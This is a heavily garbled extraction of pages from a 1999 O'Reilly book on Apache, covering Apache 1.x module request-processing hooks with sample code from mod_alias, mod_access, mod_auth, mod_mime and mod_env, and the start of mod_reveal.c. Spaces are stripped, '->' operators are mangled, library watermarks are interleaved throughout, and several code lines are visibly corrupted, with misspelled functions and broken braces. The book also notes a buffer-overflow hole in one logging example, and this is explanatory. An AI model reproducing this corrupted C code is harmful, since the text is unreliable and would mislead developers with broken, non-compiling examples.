conf=(proxy_server_conf*)
ap_get_module_config(sconf,&proxy_module)
if(conf>req&&r>parsed_uri.scheme){
/*butitmightbesomethingvhosted*/
if(!(r>parsed_uri.hostname
&&!strcasecmp(r>parsed_uri.scheme,ap_http_method(r))
&&ap_matches_request_vhost(rr>parsed_uri.hostname
r>parsed_uri.port_str?r>parsed_uri.port:ap_default_
port(r)))){
r>proxyreq=1
r>uri=r>unparsed_uri
r>Component=ap_pstrcat(r>pool,''proxy:",r>uri,NULL)
r>handler="proxyserver"
}
}
/*WeneedspecialtreatmentforCONNECTproxying:ithasnoschemepart*/
elseif(conf>req&&r>method_number==M_CONNECT
&&r>parsed_uri.hostname
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page304
&&r>parsed_uri.port_str){
r>proxyreq=1
r>uri=r>unparsed_uri
r>Component=ap_pstrcat(r>pool,"proxy:",r>uri,NULL)
r>handler="proxyserver"
}
returnDECLINED
}
Thiscodechecksforarequestthatincludesahostnamethatdoesnotmatchthecurrentvirtualhost(which,sinceitwillhavebeenchosenonthebasisofthehostname
intherequest,meansitdoesn'tmatchanyvirtualhost),oraCONNECTmethod(whichonlyproxiesuse).Ifeitheroftheseconditionsaretrue,thehandlerissetto
proxyserver,andtheComponentissettoproxy:urisothatthelaterphaseswillbehandledbytheproxymodule.
TranslateName
intmodule_translate(request_rec*pReq)
Thisfunction'staskistotranslatetheURLinarequestintoaComponent.TheendresultofitsdeliberationsshouldbeplacedinpReq>Component.Itshould
returnOK,DECLINED,orastatuscode.Thefirstmodulethatdoesn'treturnDECLINEDisassumedtohavedonethejob,andnofurthermodulesarecalled.
Sincetheorderinwhichmodulesarecalledisnotdefined,itisagoodthingiftheURLshandledbythemodulesaremutuallyexclusive.Ifallmodulesreturn
DECLINED,aconfigurationerrorhasoccurred.Obviously,thefunctionislikelytousetheperdirectoryandperserverconfigurations(butnotethatatthisstage,
theperdirectoryconfigurationreferstotherootconfigurationofthecurrentserver)inordertodeterminewhetheritshouldhandletherequest,aswellastheURL
itself(inpReq>uri).Ifastatusisreturned,theappropriateheadersfortheresponseshouldalsobesetinpReq>headers_out.
Example
Naturallyenough,thiscomesfrommod_alias.c:
char*try_alias_list(request_rec*r,array_header*aliases,intdoesc)
{
alias_entry*entries=(alias_entry*)aliases>elts
inti
for(i=0i<CH:160>aliases>nelts++i){
alias_entry*p=&entries[i]
intl=alias_matches(r>uri,p>fake)
if(l>0){
if(p>handler){/*Sethandlerandleaveanoteformod_cgi*/
r>handler=pstrdup(r>pool,p>handler)
table_set(r>notes,"aliasforcedtype",p>handler)
}
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page305
if(doesc){
char*escurl
escurl=os_escape_path(r>pool,r>uri+1,1)
returnpstrcat(r>pool,p>real,escurl,NULL)
}else
returnpstrcat(r>pool,p>real,r>uri+1,NULL)
}
}
returnNULL
}
inttranslate_alias_redir(request_rec*r)
{
void*sconf=r>server>module_config
alias_server_conf*serverconf=
(alias_server_conf*)get_module_config(sconf,&alias_module)
char*ret
#ifdef__EMX__
/*AddsupportforOS/2drivenames*/
if(r>uri[0]!='/'&&r>uri[0]!='\0'.&&r>uri[1]!=':'.
#else
if(r>uri[0]!='/'&&r>uri[0]!='\0'.
#endif
returnDECLINED
if((ret=try_alias_list(r,serverconf>redirects,1))!=NULL){
table_set(r>headers_out,"Location",ret)
returnREDIRECT
}
if((ret=try_alias_list(r,serverconf>aliases,0))!=NULL){
r>Component=ret
returnOK
}
returnDECLINED
}
Firstofall,thisexampletriestomatchaRedirectdirective.Ifitdoes,theLocationheaderissetinheaders_out,andREDIRECTisreturned.Ifnot,it
translatesintoaComponent.Notethatitmayalsosetahandler(infact,theonlyhandleritcanpossiblysetiscgiscript,whichitdoesifthealiaswascreated
byaScriptAliasdirective).Aninterestingfeatureisthatitsetsanoteformod_cgi.c,namelyaliasforcedtype.Thisisusedbymod_cgi.ctodetermine
whethertheCGIscriptisinvokedviaaScriptAlias,inwhichcaseOptionsExecCGIisnotneeded.*Forcompleteness,hereisthecodefrom
mod_cgi.cthatmakesthetest:
intis_scriptaliased(request_rec*r)
{
char*t=table_get(r>notes,"aliasforcedtype")
returnt&&(!strcmp(t,"cgiscript"))
}
*Thisisabackwardcompatibilityfeature.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page306
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
AnInterjection
Atthispoint,theComponentisknownaswellastheURL,andApachereconfiguresitselftohandsubsequentmodulefunctionstherelevantperdirectory
configuration(actuallycomposedofallmatchingdirectory,location,andfileconfigurations,mergedwitheachotherviatheperdirectorymerger,inthatorder).*
HeaderParser
staticintmodule_header_parser(request_rec*pReq)
ThisroutineissimilarinintenttothePostReadRequestphase.ItcanreturnOK,DECLINED,orastatuscode.IfsomethingotherthanDECLINEDisreturned,
nofurthermodulesarecalled.Theintentionwastomakedecisionsbasedontheheaderssentbytheclient.However,itsusehasbeensupersededbyPostRead
Request(whichwasintroducedlaterinthedevelopmentprocess)anditisnotcurrentlyusedbyanystandardmodule.Forthatreason,itisnotpossibletoillustrateit
withanexample.
CheckAccess
intmodule_check_access(request_rec*pReq)
Thisroutinechecksaccess,intheallow/denysense.ItcanreturnOK,DECLINED,orastatuscode.Allmodulesarecalleduntiloneofthemreturnssomething
otherthanDECLINEDorOK.IfallmodulesreturnDECLINED,itisconsideredaconfigurationerror.Atthispoint,theURLandtheComponent(ifrelevant)
areknown,asaretheclient'saddress,useragent,andsoforth.AlloftheseareavailablethroughpReq.AslongaseverythingsaysDECLINEDorOK,the
requestcanproceed.
Example
Theonlyexampleavailableinthestandardmodulesis,unsurprisingly,frommod_access.c:
intfind_allowdeny(request_rec*r,array_header*a,intmethod)
{
allowdeny*ap=(allowdeny*)a>elts
intmmask=(1<method)
inti,gothost=0
constchar*remotehost=NULL
for(i=0i<CH:160>a>nelts++i){
if(!(mmask&ap[i].limited))
*Infact,someofthisisdonebeforetheTranslateNamephase,andsomeafter,sincethelocationinformationcanbeusedbeforenametranslationisdone,butComponent
informationobviouslycannotbe.Ifyoureallywanttoknowexactlywhatisgoingon,probethebehaviorwithmod_reveal.c.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page307
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
continue
if(ap[i].from&&!strcmp(ap[i].from,"useragents")){
char*this_agent=table_get(r>headers_in,"UserAgent")
intj
if(!this_agent)return0
for(j=i+1j<CH:160>a>nelts++j){
if(strstr(this_agent,ap[j].from))return1
}
return0
}
if(!strcmp(ap[i].from,"all"))
return1
if(!gothost)
{
remotehost=get_remote_host(r>connection,r>per_dir_config,
REMOTE_HOST)
gothost=1
}
if(remotehost!=NULL&&isalpha(remotehost[0]))
if(in_domain(ap[i].from,remotehost))
return1
if(in_ip(ap[i].from,r>connection>remote_ip))
return1
}
return0
}
intcheck_dir_access(request_rec*r)
{
intmethod=r>method_number
access_dir_conf*a=
(access_dir_conf*)
get_module_config(r>per_dir_config,&access_module)
intret=OK
if(a>order[method]==ALLOW_THEN_DENY){
ret=FORBIDDEN
if(find_allowdeny(r,a>allows,method))
ret=OK
if(find_allowdeny(r,a>denys,method))
ret=FORBIDDEN
}elseif(a>order[method]==DENY_THEN_ALLOW){
if(find_allowdeny(r,a>denys,method))
ret=FORBIDDEN
if(find_allowdeny(r,a>allows,method))
ret=OK
}
else{
if(find_allowdeny(r,a>allows,method)
&!find_allowdeny(r,a>denys,method))
ret=OK
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page308
else
ret=FORBIDDEN
}
if(ret==FORBIDDEN)
log_reason("Clientdeniedbyserverconfiguration",r>Component,r)
returnret
}
Prettystraightforwardstuff.in_ip()andin_domain()checkwhetheranIPaddressordomainname,respectively,matchtheIPordomainoftheclient.
CheckUserID
intmodule_check_user_id(request_rec*pReq)
ThisfunctionisresponsibleforacquiringandcheckingauserID.TheuserIDshouldbestoredinpReq>connection>user.Thefunctionshouldreturn
OK,DECLINED,orastatuscode.OfparticularinterestisHTTP_UNAUTHORIZED(formerlyknownasAUTH_REQUIRED),whichshouldbereturnedif
theauthorizationfails(eitherbecausetheuseragentpresentednocredentials,orbecausethosepresentedwerenotcorrect).Allmodulesarepolleduntilonereturns
somethingotherthanDECLINED.Ifalldecline,aconfigurationerrorislogged,andanerrorreturnedtotheuseragent.WhenHTTP_UNAUTHORIZEDis
returned,anappropriateheadershouldbesettoinformtheuseragentofthetypeofcredentialstopresentwhenitretries.CurrentlytheappropriateheaderisWWW
Authenticate(seetheHTTP/1.1specificationfordetails).Unfortunately,Apache'smodularityisnotquiteasgoodasitmightbeinthisarea,sothishook
usuallyprovidesalternatewaysofaccessingtheuser/passworddatabase,ratherthanchangingthewayauthorizationisactuallydone,asevidencedbythefactthatthe
protocolsideofauthorizationiscurrentlydealtwithinhttp_protocol.c,ratherthaninthemodule.Notethatthisfunctionchecksthevalidityoftheusername
andpassword,andnotwhethertheparticularuserhaspermissiontoaccesstheURL.
Example
Anobvioususerofthishookismod_auth.c:
intauthenticate_basic_user(request_rec*r)
{
auth_config_rec*sec=
(auth_config_rec*)get_module_config(r>per_dir_config,&auth_module)
conn_rec*c=r>connection
char*sent_pw,*real_pw
charerrstr[MAX_STRING_LEN]
intres
if((res=get_basic_auth_pw(r,&sent_pw)))returnres
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page309
if(!sec>auth_pwfile)
returnDECLINED
if(!(real_pw=get_pw(r,c>user,sec>auth_pwfile))){
sprintf(errstr,"user%snotfound",c>user)
log_reason(errstr,r>uri,r)
note_basic_auth_failure(r)
returnAUTH_REQUIRED
}
if(strcmp(real_pw,(char*)crypt(sent_pw,real_pw))){
sprintf(errstr,"user%s:passwordmismatch",c>user)
log_reason(errstr,r>uri,r)
note_basic_auth_failure(r)
returnAUTH_REQUIRED
}
returnOK
}
CheckAuth
intmodule_check_auth(request_rec*pReq)
Thishookiscalledtocheckwhethertheauthenticateduser(foundinpReq>connection>user)ispermittedtoaccessthecurrentURL.Itnormallyuses
theperdirectoryconfiguration(rememberingthatthisisactuallythecombineddirectory,location,andfileconfiguration)todeterminethis.Itmustreturn
OK,DECLINED,orastatuscode.Again,theusualstatustoreturnisHTTP_UNAUTHORIZEDifaccessisdenied,thusgivingtheuserachancetopresentnew
credentials.ModulesarepolleduntilonereturnssomethingotherthanDECLINED.
Example
Again,thenaturalexampletouseisfrommod_auth.c:
intcheck_user_access(request_rec*r){
auth_config_rec*sec=
(auth_config_rec*)get_module_config(r>per_dir_config,&auth_module)
char*user=r>connection>user
intm=r>method_number
intmethod_restricted=0
registerintx
char*t,*w
table*grpstatus
array_header*reqs_arr=requires(r)
require_line*reqs
if(!reqs_arr)
return(OK)
reqs=(require_line*)reqs_arr>elts
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page310
if(sec>auth_grpfile)
grpstatus=groups_for_user(r>pool,user,sec>auth_grpfile)
else
grpstatus=NULL
for(x=0x<CH:160>reqs_arr>neltsx++){
if(!(reqs[x].method_mask&(1<m)))continue
method_restricted=1
t=reqs[x].requirement
w=getword(r>pool,&t,'')
if(!strcmp(w,"validuser"))
returnOK
if(!strcmp(w,"user")){
while(t[0]){
w=getword_conf(r>pool,&t)
if(!strcmp(user,w))
returnOK
}
}
elseif(!strcmp(w,"group")){
if(!grpstatus)
returnDECLINED/*DBMgroup?Somethingelse?*/
while(t[0]){
w=getword_conf(r>pool,&t)
if(table_get(grpstatus,w))
returnOK
}
}
}
if(!method_restricted)
returnOK
note_basic_auth_failure(r)
returnAUTH_REQUIRED}
TypeChecker
intmodule_type_checker(request_rec*pReq)
Atthisstage,wehavealmostfinishedprocessingtherequest.Allthatislefttodecideiswhoactuallyhandlesit.Thisisdoneintwostages:first,byconvertingtheURL
orComponentintoaMIMEtypeorhandlerstring,alanguage,andanencodingandsecond,bycallingtheappropriatefunctionforthetype.Thishookdealswiththe
firstpart.IfitgeneratesaMIMEtype,itshouldbestoredinpReq>content_type.Alternatively,ifitgeneratesahandlerstring,itshouldbestoredin
pReq>handler.ThelanguagesgoinpReq>content_languages,andtheencodinginpReq>content_encoding.Notethatthereisno
definedwayof
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page311
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
generatingauniquehandlerstring.Furthermore,handlerstringsandMIMEtypesarematchedtotherequesthandlerthroughthesametable,sothehandlerstring
shouldprobablynotbeaMIMEtype.*
Example
Oneobviousplacethatthismustgoonisinmod_mime.c:
intfind_ct(request_rec*r)
{
char*fn=strrchr(r>Component,'/'.
mime_dir_config*conf=
(mime_dir_config*)get_module_config(r>per_dir_config,&mime_module)
char*ext,*type,*orighandler=r>handler
if(S_ISDIR(r>finfo.st_mode)){
r>content_type=DIR_MAGIC_TYPE
returnOK
}
if(fn==NULL)fn=r>Component
/*ParseComponentextensions,whichcanbeinanyorder*/
while((ext=getword(r>pool,&fn,'.'))&&*ext){
intfound=0
/*CheckforContentType*/
if((type=table_get(conf>forced_types,ext))
||(type=table_get(hash_buckets[hash(*ext)],ext))){
r>content_type=type
found=1
}
/*CheckforContentLanguage*/
if((type=table_get(conf>language_types,ext))){
r>content_language=type
found=1
}
/*CheckforContentEncoding*/
if((type=table_get(conf>encoding_types,ext))){
if(!r>content_encoding)
r>content_encoding=type
else
r>content_encoding=pstrcat(r>pool,r>content_encoding,
",",type,NULL)
found=1
}
/*Checkforaspecialhandler,butnotforproxyrequest*/
*OldhandsmayrecallthatearlierversionsofApacheused"magic"MIMEtypestocausecertainrequesthandlerstobeinvoked,suchastheCGIhandler.Handlerstringswere
inventedtoremovethiskludge.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page312
if((type=table_get(conf>handlers,ext))&&!r>proxyreq){
r>handler=type
found=1
}
/*Thisistodealwithcasessuchasfoo.gif.bak,whichwewant
*tonothaveatype.Soifwefindanunknownextension,we
*zapthetype/language/encodingandresetthehandler.
*/
if(!found){
r>content_type=NULL
r>content_language=NULL
r>content_encoding=NULL
r>handler=orighandler
}
}
/*CheckforoverrideswithForceType/SetHandler*/
if(conf>type&&strcmp(conf>type,"none"))
r>content_type=pstrdup(r>pool,conf>type)
if(conf>handler&&strcmp(conf>handler,"none"))
r>handler=pstrdup(r>pool,conf>handler)
if(!r>content_type)returnDECLINED
returnOK
}
Anotherexamplecanbefoundinmod_negotiation.c,butitisrathermorecomplicatedthanisneededtoillustratethepoint.
PrerunFixups
intmodule_fixups(request_rec*pReq)
Nearlythere!Thisisyourlastchancetodoanythingthatmightbeneededbeforetherequestisfinallyhandled.Atthispoint,allprocessingthatisgoingtobedone
beforetherequestishandledhasbeencompleted,therequestisgoingtobesatisfied,andallthatislefttodoisanythingtherequesthandlerwon'tdo.Examplesof
whatyoumightdohereincludesettingenvironmentvariablesforCGIscripts,addingheaderstopReq>header_out,orevensettingsomethingtomodifythe
behaviorofanothermodule'shandlerinpReq>notes.Thingsyouprobablyshouldn'tdoatthisstagearemany,but,mostimportantly,youshouldleaveanything
securityrelatedalone,including,butcertainlynotlimitedto,theURL,theComponent,andtheusername.Mostmoduleswon'tusethishookbecausetheydotheirreal
workelsewhere.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page313
Example
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Asanexample,wewillsettheenvironmentvariablesforashellscript.Here'swhereit'sdoneinmod_env.c:
intfixup_env_module(request_rec*r)
{
table*e=r>subprocess_env
server_rec*s=r>server
env_server_config_rec*sconf=get_module_config(s>module_config,&env_module)
table*vars=sconf>vars
if(!sconf>vars_present)returnDECLINED
r>subprocess_env=overlay_tables(r>pool,e,vars)
returnOK
}
Noticethatthisdoesn'tdirectlysettheenvironmentvariablesthatwouldbepointlessbecauseasubprocess'senvironmentvariablesarecreatedanewfrompReq
>subprocess_env.Alsonoticethat,asisoftenthecaseincomputing,considerablymoreeffortisspentinprocessingtheconfigurationformod_env.cthanis
spentatthebusinessend.
Anotherexamplecanbefoundinmods_pics_simple.c:
staticintpics_simple_fixup(request_rec*r){
char**stuff=(char**)get_module_config(r>per_dir_config,
&pics_simple_module)
if(!*stuff)returnDECLINED
table_set(r>headers_out,"PICSlabel",*stuff)
returnDECLINED
}
Thishassuchasimpleconfiguration(justastring)thatitdoesn'tevenbotherwithaconfigurationstructure.*AllitdoesissetthePICSlabelheaderwiththe
stringderivedfromthedirectory,location,andfilerelevanttothecurrentrequest.
Handlers
handler_recaModuleHandlers[]
Thedefinitionofahandler_reccanbefoundinhttp_config.h:
typedefstruct{
char*content_type
int(*handler)(request_rec*)
}handler_rec
Finally,wearereadytohandletherequest.Thecorenowsearchesthroughthemodules'handlerentries,lookingforanexactmatchforeitherthehandlertypeor
*Notatechniqueweparticularlylike,butthereweare.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page314
theMIMEtype,inthatorder(thatis,ifahandlertypeisset,thatisusedotherwise,theMIMEtypeisused).Whenamatchisfound,thecorrespondinghandler
functioniscalled.Thiswilldotheactualbusinessofservingtheuser'srequest.Oftenyouwon'twanttodothis,becauseyou'llhavedonetheworkofyourmodule
earlier,butthisistheplacetorunyourJava,translatetoSwedish,orwhateveryoumightwanttodotoserveactualcontenttotheuser.Mosthandlerseithersend
somekindofcontentdirectly(inwhichcase,theymustremembertocallsend_http_header()beforesendingthecontent)oruseoneoftheinternalredirect
methods(e.g.,internal_redirect()).
Example
mod.status.conlyimplementsahandlerhere'sthehandler'stable:
handler_recstatus_handlers[]=
{
{STATUS_MAGIC_TYPE,status_handler},
{"serverstatus",status_handler},
{NULL}
}
Wedon'tshowtheactualhandlerhere,becauseitisbigandboring.Allitdoesistrawlthroughthescoreboard(whichrecordsdetailsofthevariouschildprocesses)
andgenerateagreatdealofHTML.TheuserinvokesthishandlerwitheitheraSetHandleroranAddHandlerhowever,sincethehandlermakesnouseof
afile,SetHandleristhemorenaturalwaytodoit.NoticethereferencetoSTATUS_MAGIC_TYPE.Thisisa"magic"MIMEtype,theuseofwhichisnow
deprecated,butwemustretainitforbackwardcompatibilityinthisparticularmodule.
Logger
intmodule_logger(request_rec*pRec)
Nowthattherequesthasbeenprocessedandthedusthassettled,youmaywanttologtherequestinsomeway.Here'syourchancetodothat.Althoughthecore
stopsrunningtheloggerfunctionassoonasamodulereturnssomethingotherthanOKorDECLINED,thatisrarelydone,asthereisnowaytoknowwhether
anothermoduleneedstobeabletologsomething.
Example
Althoughmod_log_agent.cismoreorlessoutofdatesincemod_log_config.cwasintroduced,itmakesanice,compactexample:
intagent_log_transaction(request_rec*orig)
{
agent_log_state*cls=get_module_config
(orig>server>module_config,&agent_log_module)
charstr[HUGE_STRING_LEN]
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page315
char*agent
request_rec*r
if(cls>agent_fd<0)
returnOK
for(r=origr>nextr=r>next)
continue
if(*cls>fname=='\0'./*Don'tlogagent*/
returnDECLINED
agent=table_get(orig>headers_in,"UserAgent")
if(agent!=NULL)
{
sprintf(str,"%s\n",agent)
write(cls>agent_fd,str,strlen(str))
}
returnOK
}
Thisisnotagoodexampleofprogrammingpractice.Withitsfixedsizebufferstr,itleavesagapingsecurityhole.Itwouldn'tbeenoughtosimplysplitthewriteinto
twopartstoavoidthisproblem.Becausethelogfileissharedamongallserverprocesses,thewritemustbeatomicorthelogfilecouldgetmangledbyoverlapping
writes.mod_log_config.ccarefullyavoidsthisproblem.
ChildExit
voidchild_exit(server_rec*pServer,pool*pPool)
Thisfunctioniscalledimmediatelybeforeaparticularchildexits.See''ChildInitialization,"earlierinthischapter,foranexplanationofwhat"child"meansinthis
context.Typically,thisfunctionwillbeusedtoreleaseresourcesthatarepersistentbetweenconnections,suchasdatabaseorfilehandles.
Example
Frommod_log_config.c:
staticvoidflush_all_logs(server_rec*s,pool*p)
{
multi_log_state*mls
array_header*log_list
config_log_state*clsarray
inti
for(ss=s>next){
mls=ap_get_module_config(s>module_config,&config_log_module)
log_list=NULL
if(mls>config_logs>nelts){
log_list=mls>config_logs
}
elseif(mls>server_config_logs){
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page316
log_list=mls>server_config_logs
}
if(log_list){
clsarray=(config_log_state*)log_list>elts
for(i=0i<CH:160>log_list>nelts++i){
flush_log(&clsarray[i])
}
}
}
}
ThisroutineisonlyusedwhenBUFFERED_LOGSisdefined.Predictablyenough,itflushesallthebufferedlogs,whichwouldotherwisebelostwhenthechild
exited.
ACompleteExample
Wespentsometimetryingtothinkofanexampleofamodulethatusesalltheavailablehooks.Atthesametime,wespentconsiderableefforttrackingthroughthe
innardsofApachetofindoutwhathappenedwhen.Thenwesuddenlythoughtofwritingamoduletoshowwhathappenedwhen.And,presto,mod_reveal.c
wasborn.Thisisnotamoduleyou'dwanttoincludeinaliveApachewithoutmodification,sinceitprintsstufftothestandarderroroutput(whichendsupintheerror
log,forthemostpart).Butratherthanobscurethemainfunctionalitybyincludingcodetoswitchthemonitoringonandoff,wethoughtitbesttokeepitsimple.
Besides,eveninthisformthemoduleisveryusefulit'spresentedandexplainedinthissection.
Overview
Themoduleimplementstwocommands,RevealServerTagandRevealTag.RevealServerTagnamesaserversectionandisstoredintheper
serverconfiguration.RevealTagnamesadirectory(orlocationorfile)sectionandisstoredintheperdirectoryconfiguration.Whenperserverorperdirectory
configurationsaremerged,theresultingconfigurationistaggedwithacombinationofthetagsofthetwomergedsections.Themodulealsoimplementsahandler,
whichgeneratesHTMLwithinterestinginformationaboutaURL.
Noselfrespectingmodulestartswithoutacopyrightnotice:
/*
Revealtheorderinwhichthingsaredone.
Copyright(C)1996,1998BenLaurie
*/
Notethattheincludedhttp_protocol.hisonlyneededfortherequesthandler,theothertwoarerequiredbyalmostallmodules:
#include"httpd.h"
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page317
#include"http_config.h"
#include"http_protocol.h"
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Theperdirectoryconfigurationstructureis
typedefstruct
{
char*szDir
char*szTag
}SPerDir
Andtheperserverconfigurationstructureis:
typedefstruct
{
char*szServer
char*szTag
}SPerServer
Thereisanunavoidablecircularreferenceinmostmodulesthemodulestructureisneededtoaccesstheperserverandperdirectoryconfigurationsinthehook
functions.Butinordertoconstructthemodulestructure,weneedtoknowthehookfunctions.Sincethereisonlyonemodulestructureandalotofhookfunctions,it
issimplesttoforwardreferencethemodulestructure:
externmodulereveal_module
IfastringisNULL,itmaycrashprintf()onsomesystems,sowedefineafunctiontogiveusastandinforNULLstrings:
staticconstchar*None(constchar*szStr)
{
if(szStr)
returnszStr
return"(none)"
}
Sincetheservernamesandportnumbersareoftennotknownwhentheperserverstructuresarecreated,butarefilledinbythetimetheinitializationfunctioniscalled,
werenamethemintheinitfunction.Notethatwehavetoiterateoveralltheservers,sinceinitisonlycalledwiththe"main"serverstructure.Aswego,we
printtheoldandnewnamessowecanseewhatisgoingon.Justforcompleteness,weaddamoduleversionstringtotheserverversionstring.Notethatyouwould
notnormallydothisforsuchaminormodule:
staticvoidSubRevealInit(server_rec*pServer,pool*pPool)
}
SPerServer*pPerServer=ap_get_module_config(pServer>module_config,
&reveal_module)
if(pServer>server_hostname&&
(!strncmp(pPerServer>szServer,"(none):",7)
!strcmp(pPerServer>szServer+strlen
(pPerServer>szServer)
2,"0")))
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
{
charszPort[20]
fprintf(stderr,"Init:updateservernamefrom%s\n",
pPerServer>szServer)
sprintf(szPort,"%d",pServer
>port)
>szServer=ap_pstrcat(pPool,pServer>server_hostname,":",
Szport,NULL)
}
fprintff(stderr,"Init:host=%sport=%dserver=%stag=%s\n",
pServer>server_hostname,pServerport,pPerServer>szServer,
None(pPerServer>szTag))
}
staticvoidReveallnit(server_rec*pServer,pool*pPool)
}
ap_add_version_component("Reveal/0.0")
for(pServerpServer=pServer>next)
SubRevealInit(pServer,pPool)
fprintf(stderr,"Init:done\n")
}
Herewecreatetheperserverconfigurationstructure.Sincethisiscalledassoonastheserveriscreated,pServer>server_hostnameandpServer>port
initialized,sotheirvaluesmustbetakenwithapinchofsalt(buttheygetcorrectedlater):
staticvoid*RevealCreateServer(pool*pPool,server_rec*pServer)
{
SPerServer*pPerServer=ap_palloc(pPool,sizeof*pPerServer)
constchar*szServer
charszPort[20]
szServer=None(pServer>server_hostname)
sprintf(szPort,"%d",pServer>port)
pPerServer>szTag=NULL
pPerServer>szServer=ap_pstrcat(pPool,szServer,":"szPort,NULL
fprintf(stderr,"CreateServer:server=%s:%s\n",szServer,szPort)
returnpPerServer
}
Herewemergetwoperserverconfigurations.Themergedconfigurationistaggedwiththenamesofthetwoconfigurationsfromwhichitisderived(orthestring(none)
Notethatwecreateanewperserverconfigurationstructuretoholdthemergedinformation(thisisthestandardthingtodo):
staticvoid*RevealMergeServer(pool*pPool,void*_pBase,void*_pNew)
{
SPerServer*pBase=_pBase
SPerServer*pNew=_pNew
SPerServer*pMerged=ap_palloc(pPool,sizeof*pMerged)
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page319
fprintf(stderr,
"MergeServer:pBase:server=%stag=%spNew:server=%stag=%s\n",
pBase>szServer,None(pBase>szTag),
pNew>szServer,None(pNew>szTag))
pMerged>szServer=ap_pstrcat(pPool,pBase>szServer,"+",pNew>szServer,
NULL)
pMerged>szTag=ap_pstrcat(pPool,None(pBase>szTag),"+",
None(pNew>szTag),NULL)
